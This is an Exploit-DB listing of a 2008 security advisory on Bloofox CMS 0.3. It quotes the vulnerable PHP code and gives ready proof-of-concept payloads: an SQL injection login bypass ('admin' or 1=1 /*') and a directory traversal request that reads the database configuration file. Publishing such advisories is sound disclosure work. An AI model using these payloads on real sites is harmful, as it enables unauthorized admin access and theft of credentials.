Exploit bloofox 0.3 - SQL Injection / File Disclosure

[Exploiter]

EDB-ID

4945

Проверка EDB

1. Пройдено

Автор

BUGREPORT.IR

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-0428 cve-2008-0427

Дата публикации

2008-01-20

########################## WwW.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title:Bloofox CMS Vulnerabilities
# Vendor: http://www.bloofox.com
# Bugs: SQL Injection (Authentication bypass) , Source code disclosure
# Vulnerable Version: 0.3 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
################################################################


####################
- Description:
####################

BloofoxCMS is a free open source content management system (CMS).


####################
- Vulnerability:
####################

+-->SQL Injection (authentication bypass)

Code Snippet:
index.php Line#107-116

if(isset($_POST['login']) || $_GET['login'] == "true") {
	if($perm->login($db,$_POST['username'],$_POST['password']) == 1) {
		$login_ok = 1;
		if($_GET['login'] == "true") {
			load_url("index.php");
		}
	} else {
		$login_failed = 1;
	}
}

system/class_permissions.php Line#63-68
	function login($db,$user,$pass)
	{
		global $tbl_prefix;
		$pass = md5($pass);
		$db->query("SELECT uid,username,password,groups FROM ".$tbl_prefix."sys_user WHERE username = '".$user."' && password = '".$pass."' && blocked = '0' && deleted = '0' && status = '1' ORDER BY username");
		$total = $db->num_rows();
		.
		.
		.


There is no input validation here therefore its possible for a remote attacker to bypass login mechanism when magic quotes is disabled!

POC :
Username: admin' or 1=1 /*
Password: something

+--> Source code disclosure

Code Snippet:
file.php Line#25-49

$file = $_GET['file'];

// Block external linkings
$HTTP_REFERER = $_SERVER['HTTP_REFERER'];
if(strpos($HTTP_REFERER,$_SERVER['SERVER_NAME']) == 0) {
	die("Forget It!");
}

$basedir = getcwd()."/media/files";

// create file name
$filename = sprintf("%s/%s", $basedir, $file);

// check file on server
if(!file_exists($filename)) {
	die("File not found!");
}

header("Content-Type: application/octet-stream");

$save_as_name = basename($file);
header("Content-Disposition: attachment; filename=\"".$save_as_name."\"");

// output
readfile($filename);

Input passed to the "file" parameter is not properly sanitised before being used.
This can be exploited to display arbitrary files through directory traversal attacks or by passing full paths.

POC:
GET: http://servername/bloofoxCMS_0.3/file.php?file=../../system/class_mysql.php
Referer: http://servername/

####################
- Credit :
####################
Original advisory: http://bugreport.ir/?/27
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-01-20]